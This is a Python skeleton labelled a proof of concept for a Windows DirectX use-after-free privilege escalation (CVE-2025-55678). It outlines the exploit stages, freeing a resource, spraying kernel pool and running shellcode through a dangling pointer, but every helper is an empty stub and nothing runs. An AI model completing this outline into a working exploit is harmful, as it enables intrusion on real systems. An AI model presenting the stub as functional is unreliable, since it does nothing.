The following code is for security research and authorized testing only.
python
# CVE-2025-55678 PoC - Windows DirectX Use After Free Privilege Escalation
# This is a conceptual PoC demonstrating the exploitation approach for UAF in DirectX
# Note: Actual exploitation requires specific DirectX API sequences and memory manipulation
import ctypes
import struct
from ctypes import wintypes
# Windows API constants
PROCESS_ALL_ACCESS = 0x1F0FFF
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_READWRITE = 0x04
PAGE_EXECUTE_READ = 0x20
# Load necessary Windows DLLs
kernel32 = ctypes.windll.kernel32
d3d11 = ctypes.windll.d3d11
def exploit_directx_uaf():
"""
Conceptual exploit flow for CVE-2025-55678:
1. Create a DirectX device context
2. Allocate and initialize a vulnerable graphics resource
3. Trigger the use-after-free condition
4. Reclaim the freed memory with controlled content
5. Execute shellcode through the dangling pointer
"""
# Step 1: Initialize DirectX device
# Create D3D11 device with specific flags to trigger vulnerable code path
device_ptr = ctypes.c_void_p()
context_ptr = ctypes.c_void_p()
# Step 2: Create vulnerable resource (e.g., texture or buffer)
# The resource will be allocated in kernel pool memory
vulnerable_resource = create_d3d_resource(device_ptr)
# Step 3: Trigger the free operation
# Release the resource but keep a dangling pointer
release_d3d_resource(vulnerable_resource)
# Step 4: Spray kernel pool to reclaim freed memory
# Allocate objects with controlled content to occupy the freed slot
for i in range(100):
spray_object_with_payload()
# Step 5: Trigger the use of the dangling pointer
# This causes execution of attacker-controlled data
trigger_dangling_pointer_access(vulnerable_resource)
return True
def create_d3d_resource(device):
"""Create a DirectX resource vulnerable to UAF"""
# Implementation involves D3D11CreateDevice, CreateTexture2D, etc.
pass
def release_d3d_resource(resource):
"""Release the resource creating the dangling pointer condition"""
pass
def spray_object_with_payload():
"""Spray kernel objects to reclaim freed memory with controlled data"""
pass
def trigger_dangling_pointer_access(ptr):
"""Access the freed memory through the dangling pointer"""
pass
if __name__ == "__main__":
print("CVE-2025-55678 PoC - Conceptual demonstration")
print("Use after free in Windows DirectX - Local Privilege Escalation")